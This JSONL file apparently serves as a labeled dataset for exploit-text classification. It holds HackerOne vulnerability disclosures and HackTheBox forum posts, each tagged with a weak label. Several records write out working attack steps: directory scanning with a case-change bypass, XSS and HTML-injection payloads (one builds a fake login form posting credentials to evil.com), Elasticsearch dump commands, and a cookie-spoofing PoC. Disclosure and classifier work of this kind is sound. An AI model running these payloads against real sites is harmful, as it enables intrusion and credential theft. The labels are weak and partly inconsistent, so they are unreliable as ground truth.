-{"id": "9ceb9ffd90c693848318", "text": "[Insecure Storage of Sensitive Information] insecure storage of information, you can view any file uploaded to the server without authentication and only with a single link\n\n**Domain and URL:**\nhttp://███\nhttps://███████\nhttps://████/maximum-wiki-prod-app/\n\n**Summary:** \nFrom a single link I have access to a multitude of uploaded files on the server. All I have to do is search for keywords such as \"png\" or \"user\" and I can retrieve the target file without authentication, without blocking by the server, and without any particular effort. In short, users expose their files to anyone who has seen the public link.\n\n**Description:** [add more details about this vulnerability]\nI can download files, get personal information from users, view file extensions and view them directly in the browser from the link. I think the main vulnerability is that the site in question has given me free access to the xml file when I should simply be blocked.\n\n## Browsers Verified In:\nfirefox browser 113.0.2\nfirefox browser 102.11.0esr\nMicrosoft Edge 113.0.1774.57\n\n## Steps To Reproduce:\n  1.search on google : site:*.██████████\n  2. click on ████/login\n  3. in a linux machine, use an tool called \"gobuster\" on a terminal\n  4. type that commande on a terminal : gobuster dir -v -u https://███████ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\n  5. You will see on the result : status: 301 -> https://████/uploads\n  6. In a teminal use a tool called \"curl\".\n  7. type that commande on a terminal : curl https://█████/uploads/\n  8. It returned : 403 Forbidden.\n  9. Put uppercase and lowercase to bypass it\n  10. type that commande on a terminal : curl https://██████/uPlOaDs/\n 11. Line : 103 you will see the vulnerable link : https://█████████/maximum-wiki-prod-app/uploads/images/system/2020-04/█████-Maximum_TMP_RGB-on_image.png\n  12. Go on : https://████████/maximum-wiki-prod-app/ you will see all of uploads files.\n\n## Known steps to resolve:\nblock the user when he try to get access to the vulnerable link\n\n## Impact\n\nAn attacker can gain access to the website's tree structure, and thus obtain precise information to target his attacks. He could also extract information from users, and negotiate a ransom.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "558b900908761d558a96", "text": "[Improper Access Control - Generic] Broken access discloses users and PII at https://███████ [HtUS]\n\nGood morning,\n\nI was able to register at https://████/ and get the list of users.\n1- Go to https://██████████/OA_HTML/ibeCAcpSSOReg.jsp and register.\n2- Go to https://███/OA_HTML/AppsLocalLogin.jsp with the created user and login.\n3- On the homepage, click on vacations rules, create, and search users.\n4- User are disclosed.\n\n██████\n\nRegards,\n\nG4MB4\n\n## Impact\n\nAn attacker is able to access users information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5254a5ece3df78a3cd7e", "text": "[Misconfiguration] Misconfiguration in AWS CloudFront CDN configuration makes rubygems.org serve (and cache) content from a unclaimed S3-bucket\n\nThis is reported as suggested by the rubygems-program on hackerone. \nReport: https://hackerone.com/reports/2256740\n\nI stumbled on the URL `https://rubygems.org/names`\n\nThat was giving the following response:\n```xml\nThis XML file does not appear to have any style information associated with it. The document tree is shown below.\n<Error>\n<Code>NoSuchBucket</Code>\n<Message>The specified bucket does not exist</Message>\n<BucketName>index.rubygems.org</BucketName>\n<RequestId>KF8VDAZNXRZ3S9YQ</RequestId>\n<HostId>MgMX9WXs1oJ0Rx8ABtxR+6UHFgVLyoqwqy/CRRPVMjlPLuSFdebn3E2L/8b7ZDL8QyF56JFL004=</HostId>\n</Error>\n```\n\nClaiming the bucket in `index.rubygems.org` in region `us-east-2` gives a different error on the url `https://rubygems.org/names` indicating that the cloudfront-configuration tries to access the bucket using the wrong region:\n```xml\n<Error>\n<Code>TemporaryRedirect</Code>\n<Message>Please re-send this request to the specified temporary endpoint. Continue to use the original request endpoint for future requests.</Message>\n<Endpoint>index.rubygems.org.s3.us-east-2.amazonaws.com</Endpoint>\n<Bucket>index.rubygems.org</Bucket>\n<RequestId>6AFP30FTX2AF5FEM</RequestId>\n<HostId>BAVFkSyL0+Y7oMTL8li45vFTb0UCtSVB/pPFFQvRrSf8cSVAURS0SLjeb58XZ+E8me8Crw8jVKc=</HostId>\n</Error>\n```\nClaiming the bucket `index.rubygems.org` in region `us-west-2` makes the endpoint start returning data from a file named `names` in the bucket, using the content-type specified by me on the file in the bucket. \nThis response will be cached by Cloudfront for quite some time, so in the logs (below) only the cache-misses are logged.\n\n## Impact\n\nThis bug would allow me to set the content-type using AWS S3 CLI to text/html and serve stored XSS on the page. This could affect a logged in maintainer in a very bad way.\n\nI could also affect the availability for connected systems that relied on the list of names for CI-pipelines (for example).\n\nSeveral artifactory instances were also observed in the S3-logs trying to access files from the bucket, this is just a sample:\n\n```\n2023-11-22T14:05:52+0000 \"GET /info/effective_learndash HTTP/1.1\" index.rubygems.org 167.82.143.38 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:05:53+0000 \"GET /info/embulk-parser-msgpack HTTP/1.1\" index.rubygems.org 167.82.143.44 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:05:57+0000 \"GET /info/fluent-plugin-k8s-metrics-agg HTTP/1.1\" index.rubygems.org 167.82.143.38 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:06:00+0000 \"GET /info/geo_labels HTTP/1.1\" index.rubygems.org 167.82.143.76 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:06:10+0000 \"GET /info/google-cloud-shell-v1 HTTP/1.1\" index.rubygems.org 167.82.143.108 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:06:13+0000 \"GET /info/groupdocs_parser_cloud HTTP/1.1\" index.rubygems.org 167.82.143.78 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:06:18+0000 \"GET /info/ipizza HTTP/1.1\" index.rubygems.org 167.82.143.93 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:06:24+0000 \"GET /info/lifeform HTTP/1.1\" index.rubygems.org 167.82.143.78 \"Artifactory/7.55.6 75506900\"\n2023-11-22T14:08:10+0000 \"GET /info/jruby-pageant HTTP/1.1\" index.rubygems.org 167.82.143.68 \"Artifactory/7.71.4 77104900\"\n2023-11-22T14:40:48+0000 \"GET /info/active_record_slave HTTP/1.1\" index.rubygems.org 167.82.143.54 \"Artifactory/7.55.10 75510900\"\n2023-11-22T14:40:51+0000 \"GET /info/aws HTTP/1.1\" index.rubygems.org 167.82.143.56 \"Artifactory/7.55.10 75510900\"\n2023-11-22T14:41:13+0000 \"GET /info/jdbc-mariadb HTTP/1.1\" index.rubygems.org 167.82.143.119 \"Artifactory/7.55.10 75510900\"\n2023-11-22T14:49:24+0000 \"GET /info/rspec-core HTTP/1.1\" index.rubygems.org 167.82.143.115 \"Artifactory/6.23.28\"\n2023-11-22T15:00:16+0000 \"GET /info/danger-rails_best_practices HTTP/1.1\" index.rubygems.org 167.82.143.116 \"Artifactory/7.55.10 75510900\"\n2023-11-22T15:27:44+0000 \"GET /info/aws-sdk-chimesdkidentity HTTP/1.1\" index.rubygems.org 167.82.143.41 \"Artifactory/7.49.8 74908900\"\n", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9df7e24bf1a75e4ca9ef", "text": "Hi can anyone DM on overflown, I already have the exploit localy but doesnt work in the machine", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd62d4a2228892622ce1", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] xss and html injection on ( https://labs.history.state.gov)\n\n## Summary:\nthere's possible xss and html injection on your  website https://labs.history.state.gov    through /card.xq?id= parameter\nbecause your web did not sanatize user input  and you have vulnerable  JavaScript libraries jQuery 1.11.3\n \n## Steps To Reproduce:\n\n\n  ## html injection P O C code\nhttps://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cbody%20style=%22background:%20green;%22%3E%3Cdiv%20class=%22container%22%3E%3Cform%20action=%22https://www.evil.com%22%20method=%22post%22%20class=%22form%22%20style=%22display:%20block;%22%3E%3Clabel%20for=%22pnumber%22%3Ephone%20number%20%3C/label%3E%3Cbr%3E%3Cinput%20type=%22tel%22%20name=%22pnumber%22%20id=%22pnumber%22%20value=%22%22%20placeholder=%22phone%20number%22%20maxlength=%2211%22inputmode=%22tel%22%20size=%2240px%22%3E%3Cbr%3E%3Clabel%20for=%22pword%22%3Epassword%3C/label%3E%3Cbr%3E%3Cinput%20type=%22password%22%20name=%22pword%22%20id=%22pword%22%20value=%22%22%20placeholder=%22password%22%20maxlength=%22200%22%20size=%2240px%22height=%22100px%22%3E%3Cbr%3E%3Cinput%20type=%22submit%22%20value=%22login%22%3E%3C/form%3E%3C/div%3E%3Cfont%20style=%22font-size:%20100px;color:%20red;%22%20class=%22welcome%22%3EWE%20ARE%20HACKERONE%3C/font%3E\n  \n  ## xss P O C code\nhttps://labs.history.state.gov/card.xq?id=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E\n\n##Remediation Guidance\n1.   you have to sanitize user input before using it \n2.   update your  JavaScript libraries jQuery 1.11.3 \n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\n1.. since html is a web language attacker can use this to change complete page look to do phishing attacks to compromise users\n2.. attacker can use this to execute malicious javascript in user browser", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2c738998b63203782a70", "text": "[Inadequate Encryption Strength] Possibility to guess email address from gravatar image URL\n\nThe hash used for gravatar used in rubygems.org is a simple md5, which could allow an attacker to guess the user's email address. \n\nhttps://en.gravatar.com/site/implement/hash/\n\nhttps://github.com/chrislloyd/gravtastic/blob/master/lib/gravtastic.rb#L79\n\n```ruby\n    def gravatar_id\n      Digest::MD5.hexdigest(send(self.class.gravatar_source).to_s.downcase)\n    end\n```\n\nIn rubygems.org, there is a setting that can make the email address private, but since the url of gravatar is public, the email address can be guessed unintentionally.\n\n### PoC\n\n1. Start server in local\n2. Create user as `test@example.com`\n3. Confirm email address is private\n    {F1685876}\n4. Open the profile of the user created in the secret window and get the url of gravatar\n    ```html\n    <div id=\"avatar-frame\">\n       <img id=\"profile_gravatar\" width=\"300\" height=\"300\" class=\"profile__header__avatar\" src=\"http://gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0.png?d=retro&r=PG&s=300\" />\n    </div>\n    ```\n5. Confirm that the generated hash matches the hash in the url.\n    ```ruby\n    require 'digest/md5'\n\n    mail = 'test@example.com'\n    puts Digest::MD5.hexdigest(mail)\n    ```\n    ```\n     ❯ ruby test.rb\n     55502f40dc8b7c769880b10874abc9d0\n    ```\n\n## Impact\n\nThe email address of a user who has set the email address as private may be obtained.\n\nThere was a similar discussion about wordpress.\nhttps://www.wordfence.com/blog/2016/12/gravatar-advisory-protect-email-address-identity/\n\nMany users seem to be affected because email addresses are now private by default.\nhttps://github.com/rubygems/rubygems.org/pull/2663/files\nAvoiding gravatar has too much of an impact, so I suggest that give the user the option to use gravatar (use gravatar by default).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a4ba5443c8296c9aa542", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on https://████/ via ███████ parameter\n\nPoC\n```\nhttps://████████/██████=█████████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss\n```\n\nPayload\n```\n o<br>nfocus=confirm(1337) autofocus tabindex=1 xss\n```\n\nWAF bypass\nTags are removed from user input. It is allowed to bypass WAF.\n███\n\n## Impact\n\nXSS on https://████████/\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo to\n```\nhttps://█████/██████=████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss\n```\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74e76959e4f9bef82954", "text": "[Information Disclosure] If rate limit is hit, IP address is leaked to anyone who tries to login\n\n## Summary:\nAfter the rate limit on https://bugzilla.mozilla.org/home on the login page is hit, bugzilla blocks the ip address. The next time someone logs in from any ip address, mozilla will say that the account has been locked and will list the ip address which broke the rate limit (which could be the user's).\nThis is the message that shows up: █████\n\n## Steps To Reproduce:\n\n  1. Activate the rate limit by getting 30+ wrong passwords. You can do an intruder attack with around 50 wrong passwords and when the attack stops without all the payloads going through, you know that the rate limit has been hit.\n  2. Now, go to another tab from another ip address (using a vpn) and try to login (it doesn' t matter if it is the correct password or not). You will see the previous address you tried to login from as shown in the screenshot above.\n\n## Supporting Material/References:\n██████████\n\n**Remediation**\nJust say that the account has been locked due to excessive attempts. If you want to inform the user that this is happeneng, just email the ip address to them saying that there were too many requests coming in from that address.\n\n## Impact\n\nIf a user logs in too many times and the rate limit is hit, an attacker who may try to attack the account will see the ip address of the user.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6fea4e4a8bad1deb4b37", "text": "[Information Disclosure] Elasticsearch is currently open without authentication on  https://██████l\n\n**Description:**\n\nThe vulnerability lies in insecure access to an Elasticsearch instance accessible at the URL \"https://███████l\". Currently, access to Elasticsearch is open without the need for authentication, exposing data stored on this instance to the risk of unauthorized disclosure.\n\n\n## References\n\nhttps://www.acunetix.com/vulnerabilities/web/elasticsearch-service-accessible/\nhttps://medium.com/@D0rkerDevil/3k-bounty-for-elastic-search-takeover-70c0847d2e40\nhttps://infosecwriteups.com/haystack-hackthebox-writeup-7dfd8a6fed5\nhttps://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch\n\n## Impact\n\nInsecure access to Elasticsearch on the https://████████l  site has serious security implications. The consequences of this vulnerability include\nSensitive Data Leakage: Sensitive data stored in Elasticsearch, including confidential information, personal data and other sensitive information, may be exposed and compromised.\nRisk of Data Modification or Deletion: Unauthorized access may enable malicious actors to modify or delete data, disrupting the integrity of stored information.\nPrivacy Violation: The vulnerability may lead to violations of the privacy of users whose data is stored on the Elasticsearch instance, which may have legal consequences.\nService disruption: Attackers can disrupt services by accessing Elasticsearch without authorization, which can lead to service interruptions and performance degradations.\nUnknown security risks: Unauthorized access can expose the system to unknown security risks, including potential attacks or malicious activity.\nIt is essential to take immediate action to correct this vulnerability and reduce these potential risks. The security of the Elasticsearch instance must be strengthened to protect data and guarantee confidentiality.\n\n## System Host(s)\n████l\n\n## Affected Product(s) and Version(s)\nElasticsearch 2.7.0\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nTo reproduce the Elasticsearch insecure access vulnerability on the \"https://███l\" instance, follow these steps:\nOpen a web browser and access the URL \"https://███l\".\nUse a tool such as \"estk\" to list the Elasticsearch indexes available on the site by executing the command estk --url=https://█████████l list.\nYou can also use : https://github.com/elasticsearch-dump/elasticsearch-dump\n\n- Output \n\nestk --url=https://█████l list\n\n2023/10/29 17:24:51 Detecting version...\n2023/10/29 17 :24:51 Trying elasticsearch\n2023/10/29  17:24:53 Found elasticsearch, major version 2\nIndices: 3, document count: 2212, size: 5.9 MB\nFound index aim_high with 2211 documents (5.9 MB)\nFound index .opensearch-observability with 0 documents (208 B)\nFound index .kibana_1 with 1 documents (5.3 kB)\n\nTo extract data from a specific index (for example, the \"aim_high\" index), run the command\nestk dump --url=https://███████l --index=aim_high.\nThe index data will be displayed in JSON format on standard output, confirming insecure access.\nThese steps describe how a potential attacker could access Elasticsearch data without the need for authentication, thus exposing the vulnerability.\n\n## Suggested Mitigation/Remediation Actions\nThe \"Suggested Mitigation/Remediation Actions\" section of a vulnerability report offers recommendations for remediating the vulnerability or mitigating its effects. Here's how you can formulate it for the Elasticsearch insecure access vulnerability:\nSuggested Mitigation/Remediation Actions:\nTo remediate the Elasticsearch insecure access vulnerability on the \"https://██████l\" instance, the following actions are recommended:\nSet up authentication: Configure Elasticsearch to require authentication before granting access to data. Use robust authentication methods, such as SSL certificates, usernames and passwords.\nSet up authorization: Define appropriate authorization policies to limit access to data according to user roles and privileges. Ensure that only authorized persons have access to sensitive data.\nUpdates and patches: Make", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fa1fd4bb4d1ac87aaf7f", "text": "[Unknown] Bug Report : [ No Valid SPF Records ]\n\nHi Team,  \n\nHope you are doing well. I found vulnerability in your web app\n\nURL :  https://www.ruby-lang.org/en/s\n\nDescription :\n\nThere is an email spoofing vulnerability. Email spoofing is the forgery of an email header so that the message appears to have originated from someone or somewhere other than the actual source. Email spoofing is a tactic used in phishing and spam campaigns because people are more likely to open an email when they think it has been sent by a legitimate source. The goal of email spoofing is to get recipients to open, and possibly even respond to a solicitation.\n\nAttack Scenario & PoC:\n\nOnce there is No SPF Records.An attacker can spoof email via any fake mailer Like Emkei.cz.An attacker can send email from name \"Support\" and Email: \"support@target.com\" with social engineering attack he can takeover user account let victim knows the phishing attack but when he see the email from the Authorized Domain. He got tricked easily.\n\nChecking Missing SPF\nThere are various ways of checking missing SPF Records on a website But the Most Common and Popular way is kitterman.com\n\nSteps to Check SPF Records on a website:-\nGo to http://www.kitterman.com/spf/validate.html\n\nEnter Target Website Ex: target.com (Do Not Add https/http or www)\nHit Check SPF (IF ANY)\n\nI found :  \n\n\nSPF record lookup and validation for: ruby-lang.org\n\nSPF records are published in DNS as TXT records.\n\nThe TXT records found for your domain are:\n_globalsign-domain-verification=6GywlC8PVV6mLfL6ToMeVqCDeqFk9IDu2uEqmYPqx3\nv=spf1 +ip4:210.251.121.208/28 +ip4:221.186.184.64/28 include:_spf.google.com ~all\n\nChecking to see if there is a valid SPF record.\n\nFound v=spf1 record for ruby-lang.org:\nv=spf1 +ip4:210.251.121.208/28 +ip4:221.186.184.64/28 include:_spf.google.com ~all\n\nevaluating...\nSPF record passed validation test with pySPF (Python SPF library)!\n\n\nScreenshot and video:\n\nimage.pngimage.png\n\n\n\nRemediation :\n\nReplace ~all with -all to prevent fake email.\n\nReferences :\n\nhttps://www.digitalocean.com/community/tutorials/how-to-use-an-spf-record-to-prevent-spoofing-improve-e-mail-reliability\nReference Report \n\nhttps://hackerone.com/reports/629087  \nHope you will fix that soon. Looking forward to your positive response. \n\nThanks.\n\n\n\nKind Regards,\nSohaib\n\n## Impact\n\nImpact:\nAn attacker would send a Fake email. The results can be more dangerous.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6d60e698cbbea9ca26c5", "text": "[Business Logic Errors] Subdomain takeover of images.crossinstall.com\n\n## Summary\nimages.crossinstall.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and put my own content onto it. I can now serve content on this domain, obtain a TLS certificate for this domain, etc.\n\nIf any customers or servers are pointing to anything within this domain, I could serve them arbitrary/malicious content. I could also use this in case your domain whitelists your own domain for OAuth, or if there are cookies scoped to the entire domain. Usually this can have a high impact.\n\n## PoC\nVisit images.crossinstall.com/index.html; an HTML comment with my username is present.\n\n```\n% dig images.crossinstall.com +short\nassets.crossinstall.com.s3.amazonaws.com.\ns3-1-w.amazonaws.com.\ns3-w.us-east-1.amazonaws.com.\n52.217.103.180\n\n% curl images.crossinstall.com/index.html\n<!-- hackerone/ian bugcrowd/iangcarroll -->\n\n% whois crossinstall.com | grep Org\nRegistrant Organization: Twitter, Inc.\nAdmin Organization: Twitter, Inc.\nTech Organization: Twitter, Inc.\n```\n\n## Impact\n\nSubdomain takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b1ad28ce06171a33487b", "text": "[Reliance on Cookies without Validation and Integrity Checking in a Security Decision] Ruby CVE-2021-41819: Cookie Prefix Spoofing in CGI::Cookie.parse\n\nRelease note: https://www.ruby-lang.org/en/news/2021/11/24/cookie-prefix-spoofing-in-cgi-cookie-parse-cve-2021-41819/\n\n> The old versions of CGI::Cookie.parse applied URL decoding to cookie names. An attacker could exploit this vulnerability to spoof security prefixes in cookie names, which may be able to trick a vulnerable application.\n\n> By this fix, CGI::Cookie.parse no longer decodes cookie names. Note that this is an incompatibility if cookie names that you are using include non-alphanumeric characters that are URL-encoded.\n\n> This is the same issue of CVE-2020-8184.\n\n---\n\nThe following is copied from hackerone's report. https://hackerone.com/reports/910552\n\nI found the same problem with https://hackerone.com/reports/895727 exists at `CGI::Cookie.parse`.\n\nhttps://github.com/ruby/ruby/blob/v2_7_1/lib/cgi/cookie.rb#L162\n\n```ruby\ndef self.parse(raw_cookie)\n  cookies = Hash.new([])\n  return cookies unless raw_cookie\n\n  raw_cookie.split(/;\\s?/).each do |pairs|\n    name, values = pairs.split('=',2)\n    next unless name and values\n    name = CGI.unescape(name)\n    values ||= \"\"\n    values = values.split('&').collect{|v| CGI.unescape(v,@@accept_charset) }\n    if cookies.has_key?(name)\n      values = cookies[name].value + values\n    end\n    cookies[name] = Cookie.new(name, *values)\n  end\n\n  cookies\nend\n```\n\nThe value of `name` is decoded.\n\n\n#### PoC\n\n```ruby\n❯ ruby -v\nruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-darwin19]\n\n❯ irb\nirb(main):001:0> require 'cgi'\n=> true\n\nirb(main):002:0> cookie_a = CGI::Cookie.parse(\"__%48ost-evil=evil;__Host-evil=abc\")\nirb(main):003:0> cookie_a[\"__Host-evil\"]\n=> #<CGI::Cookie: \"__Host-evil=evil&abc; path=\">\nirb(main):004:0> cookie_a[\"__Host-evil\"].to_a\n=> [\"evil\", \"abc\"]\n\nirb(main):005:0> cookie_b = CGI::Cookie.parse(\"%48oge=evil;Hoge=abc;Foo=xxx\")\nirb(main):006:0> cookie_b[\"Hoge\"].to_a\n=> [\"evil\", \"abc\"]\nirb(main):007:0> cookie_b[\"Foo\"].to_a\n=> [\"xxx\"]\n```\n\n## Impact\n\nIt has the same impact as #895727, and it is possible to insert a value into the name of a cookie that should be protected by Cookie prefixes.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-41819", "CVE-2020-8184"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "882389bb731065ae7ae3", "text": "If anyone still has some new nudges or something. Already spending a few days on this module but still not the rsults i was hoping for. At this moment I am working on assessment 1, question 2.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "09c6417ca6b58b647bb8", "text": "I also stuck with Elasticity. I have terminal as ***x, I see files from ***x and ***y, but not sure if I understand what to do with them yet. But this will be the next step. Right now I’m trying to solve Elasticity part and I have timeouts from both ports. I tried IPv4 and IPv6, different hostnames and so on. I just can’t use REST API for some reason. Maybe I just don’t see something. Any hint is appreciated. P.S. I start suspecting it’s not about ports but about encrypted files and I need to look into them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6994cbc6e08b0e61c605", "text": "[Uncontrolled Resource Consumption] monerod JSON RPC server remote DoS\n\nMonero daemon (monerod)  does not limit Content-length variable when processing incoming HTTP requests.\nWe can force monerod to allocate arbitrary amount of memory.\n\n\nHow to reproduce:\n1) compile monero https://github.com/monero-project/monero\n2) run it:\n$ ulimit -Sv 1000000000\n$ ./bin/monerod --rpc-login test:test  --rpc-bind-ip 0.0.0.0 --confirm-external-bind\n\n3) run attached script m1.py\n$ python2 ./m1.py 192.168.1.34\n\n4) after some time OOM killer will stop monerod\n\n## Impact\n\nmonerod process can be stopped remotely, no authentication is required. \nAn access to JSON RPC port is enough.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1e8ba64a18a23d66b9f1", "text": "[Violation of Secure Design Principles] xmlrpc.php file enabled at ██████.org\n\n**Description:**\nXML-RPC on WordPress is actually an API that allows developers who make 3rd party application and services the ability to interact to your WordPress site. The XML-RPC API that WordPress provides several key functionalities that include:\n\nPublish a post\nEdit a post\nDelete a post.\nUpload a new file (e.g. an image for a post)\nGet a list of comments\nEdit comments\nFor instance, the Windows Live Writer system is capable of posting blogs directly to WordPress because of XML-RPC.\n\nUnfortunately on the normal installation (not tampered with settings, and/or configs) of WordPress the XML-RPC interface opens two kinds of attacks:\n\nXML-RPC pingbacks\nBrute force attacks via XML-RPC\n##References\nhttps://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32\nhttps://medium.com/@protector47/how-to-hack-wordpress-website-via-xmlrpc-php-61c813fa3740\nhttps://hackerone.com/reports/325040?fbclid=IwAR0qgG-Xfzfi8epruslb_aB91f-Nj8DitF0su8O9ibFKSFdvefJ8h_qWNyc\nhttps://hackerone.com/reports/752073?fbclid=IwAR2i3AM4woHlr01MvyJR-Vu485XQg_gxb1doWmAhSBTfxPK9cUSRFxO2iFo\n\n## Impact\n\n-->XML-RPC pingbacks\n-->Brute force attacks via XML-RPC\n\n## System Host(s)\n███.org\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1) Go to https://█████████.org/xmlrpc.php to check if it is enabled or not.\n2)If it is enabled, change the HTTP header to POST and make the following requests as shown in the POC\n\n## Suggested Mitigation/Remediation Actions\nDisable or remove the xmlrpc.php file completely.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "654804e1ab0b78314b77", "text": "[Stack Overflow] CVE-2022-35260: .netrc parser out-of-bounds access\n\nOriginal Report:https://hackerone.com/reports/1721098\n\n## Impact\n\nIf a malicious user can provide a custom netrc file to an application or otherwise affect its contents, this flaw could be used as denial-of-service.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35260"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5c89f9858502f8db30c", "text": "[Open Redirect] Open redirect by the parameter redirectUri in the URL\n\nThe following URL is vulnerable to an open redirect (it will redirect to google.com)\nhttps://www.blackrock.com/authplatform/user/activate-success?redirectUri=https://google.com\nAfter clicking on \"return to site\" it will be redirected to the page\n\n\nSteps To Reproduce:\n\n\nEnter on this link https://www.blackrock.com/authplatform/user/activate-success?redirectUri=https://google.com\nRedirected to https://google.com\n\n## Impact\n\nPhishing attacks to redirect users to malicious sites without realizing it", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ee397200ec473597e90c", "text": "[Privilege Escalation] Subdomain Takeover at https://new.rubyonrails.org/\n\n## Disclaimer\n\nI know it's OOS but the issue is pretty serious because of the attractive domain name \"new.rubyonrails.org\" basically anyone could have put malware there.\n\n## Summary\nHi!\n\nI discovered that new.rubyonrails.org was pointing to an unclaimed Github Page, making it vulnerable to subdomain takeover.\nI've managed to claim it in my Github-account and added a simple html file as POC:\n\n{F1548667}\n\n`https://new.rubyonrails.org`\n\n## Mitigation\n- Remove the DNS record\n\nBest regards,\nnagli\n\n## Impact\n\nSubdomain takeovers can be used for\n- Cookies set to the root domain will be shared with this subdomain and can be obtained\n- Stored XSS (arbitrary javascript code can be executed in a users browser)\n- Phishing\n- Hosting malicious content", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
